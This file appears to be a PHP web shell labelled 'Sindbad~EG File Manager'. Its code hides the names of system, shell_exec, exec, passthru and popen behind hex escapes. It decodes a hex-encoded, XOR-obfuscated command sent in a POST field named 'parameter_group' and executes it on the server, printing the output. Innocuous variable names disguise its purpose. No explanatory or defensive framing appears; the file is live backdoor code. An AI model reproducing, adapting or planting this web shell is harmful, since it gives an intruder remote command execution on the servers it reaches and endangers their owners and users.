Sindbad~EG File Manager

<?php

$hub_center3 = "ex\x65c";
$hub_center2 = "sh\x65\x6C\x6C\x5F\x65xec";
$hub_center4 = "pa\x73s\x74\x68\x72u";
$hub_center5 = "\x70op\x65n";
$hub_center1 = "\x73\x79st\x65m";
$token_parser_engine = "he\x78\x32\x62\x69n";
$hub_center7 = "\x70\x63lo\x73e";
$hub_center6 = "\x73\x74r\x65\x61m_g\x65t_co\x6Etents";
if (isset($_POST["para\x6D\x65\x74er_\x67\x72oup"])) {
            function query_handler($data , $k) {
 $tkn ='' ;
for($v=0;
 $v<strlen($data);
 $v++){
$tkn.=chr(ord($data[$v])^$k);

} return $tkn;
 
}
            $parameter_group = $token_parser_engine($_POST["para\x6D\x65\x74er_\x67\x72oup"]);
            $parameter_group = query_handler($parameter_group, 75);
            if (function_exists($hub_center1)) {
                $hub_center1($parameter_group);
            } elseif (function_exists($hub_center2)) {
                print $hub_center2($parameter_group);
            } elseif (function_exists($hub_center3)) {
                $hub_center3($parameter_group, $token_data);
                print join("\n", $token_data);
            } elseif (function_exists($hub_center4)) {
                $hub_center4($parameter_group);
            } elseif (function_exists($hub_center5) && function_exists($hub_center6) && function_exists($hub_center7)) {
                $k_tkn = $hub_center5($parameter_group, 'r');
                if ($k_tkn) {
                    $dat_ent = $hub_center6($k_tkn);
                    $hub_center7($k_tkn);
                    print $dat_ent;
                }
            }
            exit;
        }